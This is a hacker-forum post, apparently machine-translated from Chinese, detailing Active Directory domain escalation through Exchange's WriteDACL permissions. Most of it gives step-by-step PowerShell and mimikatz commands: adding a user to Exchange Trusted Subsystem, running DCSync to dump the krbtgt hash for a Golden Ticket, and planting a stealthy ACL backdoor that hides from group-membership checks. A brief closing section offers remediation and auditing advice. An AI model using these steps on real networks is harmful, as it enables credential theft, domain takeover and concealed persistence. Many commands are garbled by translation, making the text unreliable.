跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

域渗透——利用Exchange服务器中的特定ACL实现域权限


Xiao7

推荐的帖子

0x00

我最近学习了在域环境中提高权限的技巧。在域环境中,安装Exchange后,会添加一个名为Microsoft Exchange Security Groups的OU,它包括两个特殊的组:Exchange Trusted Subsystem和Exchange Windows Permission。如果得到这两个组中任意一个用户的control权限,就可以继承这个组的WriteDACL权限,然后修改域对象的ACL,最后通过DCSync导出域中所有用户的hash。接下来可以使用域用户krbtgt的hash制作金券,登录域控制器,获得整个域的控制权限。

学习材料:

https://github.com/gdedrouas/Exchange-AD-Privesc

本文将记录重现的过程,介绍使用该机制建立升权后门的方法,详细介绍使用PowerView的域对象ACL的操作方法,最后给出检测和防御建议。

0x01 简介

本文将介绍以下内容:

权利抚养法的再生产

建立权力晋升后门的方法

检测和防御建议

0x02 提权方法复现

测试环境:

服务器2012R2 x64

Exchange 2013

前置知识

1.常用缩写词

DN:可分辨名称

CN:常用名

OU:组织单位

DC:域组件

ACE:访问控制条目

ACL:访问控制列表

LDAP服务器的连接字符串的格式是ldap://servername/DN。

DN有三个属性,即CN、OU和DC。

2.安装Exchange后默认会自动添加一个名为Microsoft Exchange Security Groups的OU

如下图

2-1.png

有两个特殊的组:Exchange受信任的子系统和Exchange Windows权限。

Exchange受信任的子系统是Exchange Windows权限的成员。

如下图

2-2.png

默认情况下,Exchange Windows权限对安装Exchange的域对象具有WriteDACL权限,因此Exchange受信任的子系统将继承此权限。

3.如果对域对象具有WriteDACL权限,就能够为指定域用户添加ACE,使其获得利用DCSync导出域内所有用户hash的权限,接下来可以使用域用户krbtgt的hash制作Golden Ticket,登录域控制器,获得对整个域的控制权限

详细的利用方法请参考之前的文章:《域渗透——DCSync》。

4.使用PowerView能够对域对象的ACL进行操作

值得注意的是,PowerView有两个版本,部分功能只有dev版本支持。两个版本的地址是:

https://github . com/powershell mafia/PowerSploit/blob/dev/Recon/power view . PS1

https://github . com/powershell mafia/PowerSploit/blob/master/Recon/power view . PS1

这个细节在之前的文章《域渗透——AdminSDHolder》中已经介绍过了。

实际测试

这里以Exchange可信子系统为测试对象,已经获取了测试用户testa的密码。首先,将测试用户testa添加到Exchange受信任的子系统。

Powershell命令如下:

导入模块ActiveDirectory

add-adgroup member-Identity ' Exchange受信任子系统'-Members testa

对于未安装Active Directory模块的Windows系统,您可以通过以下命令导入Active Directory模块:

导入模块。\微软。ActiveDirectory.Management.dll

add-adgroup member-Identity ' Exchange受信任子系统'-Members testa

微软。ActiveDirectory.Management.dll是在安装powershell模块Active Directory后生成的,我已经解压并上传到github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

添加成功后,出现下图

3-1.png

接下来,在另一个域中的主机上完成所有权限提升操作。

1.登录用户testa

cmd:

echo 123456789 |运行方式/用户:测试\测试命令

如果在测试期间首次将测试用户testa添加到Exchange受信任的子系统中,则用户testa需要再次登录才能继承WriteDACL权限。

要查看用户组testa:

whoami/组

发现用户testa已成功加入Exchange受信任的子系统组,如下图所示。

3-2.png

2.使用mimikatz的DCSync功能导出用户krbtgt的hash

cmd:

mimikatz.exe权限:debug ' LSA dump:DC sync/domain:test . com/user:krbtgt/CSV '退出

成功导出用户krbtgt的哈希,如下图所示

3-3.png

接下来可以使用域用户krbtgt的hash制作金券,登录域控制器,获得整个域的控制权限。

权力的成功提升

经过多次试验,得出以下结论:

如果您获得了以下三个组中任何用户的权限,则可以使用DCSync导出域中所有用户的哈希。

组名如下:

Exchange可信子系统

Exchange Windows权限

组织管理

0x03 建立提权后门的方法

如果获得了整个域的控制权限,可以利用交换中的前十字韧带作为域提权的后门

方法1:直接在Exchange的三个组内添加后门用户

这里以交换可信子系统为例

Powershell命令如下:

导入模块ActiveDirectory

添加-ad组成员-身份'交换受信任子系统-成员a

但是不够隐蔽,很容易被发现添加的用户

查看的命令如下:

网组交换受信任子系统'/域

方法2:只添加特定用户对Exchange中三个组ACL的控制权限

这里以交换可信子系统为例

1.首先需要找到Exchange Trusted Subsystem的DN(Distinguished Name)

需要使用Powerview的偏差版本,地址如下:

https://github。com/powershell mafia/powers loit/blob/dev/Recon/power view。PS1

查看所有(同向下)向下的的Powershell命令如下:

导入模块. PowerView.ps1

get-domain object-Properties可分辨名称| fl

找到交换可信子系统的(同向下)向下的为:CN=Exchange可信子系统,OU=Microsoft Exchange安全组,DC=测试,DC=com

2.查看Exchange Trusted Subsystem的ACL

Powershell命令如下:

get-DomainObjectAcl-search base ' LDAP://CN=Exchange受信任的子系统,OU=Microsoft Exchange安全组,DC=测试,DC=com '

3.获得Exchange Trusted Subsystem的原始数据

$ Raw object=Get-domain object-search base ' LDAP://CN=Exchange可信子系统,OU=Microsoft Exchange安全组,DC=测试,DC=com' -Raw

4.添加后门用户testb对Exchange Trusted Subsystem的完全访问权限

$ Raw object=Get-domain object-search base ' LDAP://CN=Exchange可信子系统,OU=Microsoft Exchange安全组,DC=测试,DC=com' -Raw

$TargetObject=$RawObject .GetDirectoryEntry()

$ ACE=New-ADObjectAccessControlEntry-继承类型All-access controltype Allow-principalidientity testb-Right访问系统安全、CreateChild、Delete、DeleteChild、DeleteTree、ExtendedRight、GenericAll、GenericExecute、GenericRead、GenericWrite、ListChildren、ListObject、ReadControl、ReadProperty、Self、Synchronize、WriteDacl、WriteOwner、WriteProperty

$TargetObject .PS基础。对象安全性。addaccessrule($ ACE)

$TargetObject .PsBase。CommitChanges()

补充:

移除后门用户testb对交换可信子系统的完全访问权限:

$ Raw object=Get-domain object-search base ' LDAP://CN=Exchange可信子系统,OU=Microsoft Exchange安全组,DC=测试,DC=com' -Raw

$TargetObject=$RawObject .GetDirectoryEntry()

$ ACE=New-ADObjectAccessControlEntry-继承类型All-access controltype Allow-principalidientity test B- Right access system security、CreateChild、Delete、DeleteChild、DeleteTree、ExtendedRight、GenericAll、GenericExecute、GenericRead、GenericWrite、ListChildren、ListObject、ReadControl、ReadProperty、Self、Synchronize、WriteDacl、WriteOwner、WriteProperty

$TargetObject .PS基础。对象安全性。removeaccessrule($ ACE)

$TargetObject .PsBase。CommitChanges()

5.查看用户testb的sid

Get-DomainUser testb

如下图

4-1.png

用户testb的objectsid为电话号码:1672228480-1396590849-334771951-2105

6.查看属于新添加用户testb的ACE

LDAP://CN=Exchange可信子系统,OU=Microsoft Exchange安全组,DC=测试,DC=com' | Where-Object {$_ .安全标识符-eq ' S-1-5-21-1672228480-1396590849-334771951-2105 ' }

如下图

4-2.png

至此,后门安装成功

此时查看交换可信子系统组的用户:

网组交换受信任子系统'/域

无法发现后门用户testb

后门启动方法

1.在另一台域内主机上登录用户testb

cmd:

echo 123456789 | runas/user:test \ testb cmd

2.将用户testb添加到Exchange Trusted Subsystem

由于用户testb有对交换可信子系统的完全访问权限,所以能够将自己添加到交换可信子系统组中

Powershell命令如下:

导入模块。\微软ActiveDirectory。Management.dll

添加-ad组成员-身份'交换可信子系统-成员测试b

3.重新登录用户testb

cmd:

echo 123456789 | runas/user:test \ testb cmd

4.使用mimikatz的DCSync功能导出用户krbtgt的hash

cmd:

mimikatz.exe权限*调试' LSA转储:DC同步/域:测试。' com/user:krbtgt/CSV '退出

5.将用户testb从Exchange Trusted Subsystem组中移除

Powershell命令如下:

导入模块。\微软ActiveDirectory。Management.dll

remove-adgroup成员身份交换可信子系统-Members testb -confirm:$false

由于用户testb具有对交换可信子系统的完全访问权限,所以能够反复将自己添加或是移除交换可信子系统

0x04 检测和防御建议

从根修复:删除Exchange Windows权限的WriteDACL权限。

可供参考的脚本:

https://github . com/gdedrouas/Exchange-AD-Privesc/blob/master/domain object/Fix-domain objectdacl . PS1

日志检测:

有必要打开Active Directory的高级安全审核策略。当修改域对象的ACL时,将生成ID为5136的日志。

参考资料:

https://blogs . TechNet . Microsoft . com/canit pro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

0x05 小结

本文记录了使用特定ACL交换提权的过程,分析了利用条件,介绍了一种结合该机制使用提权后门的方法,最后给出了检测和防御的建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...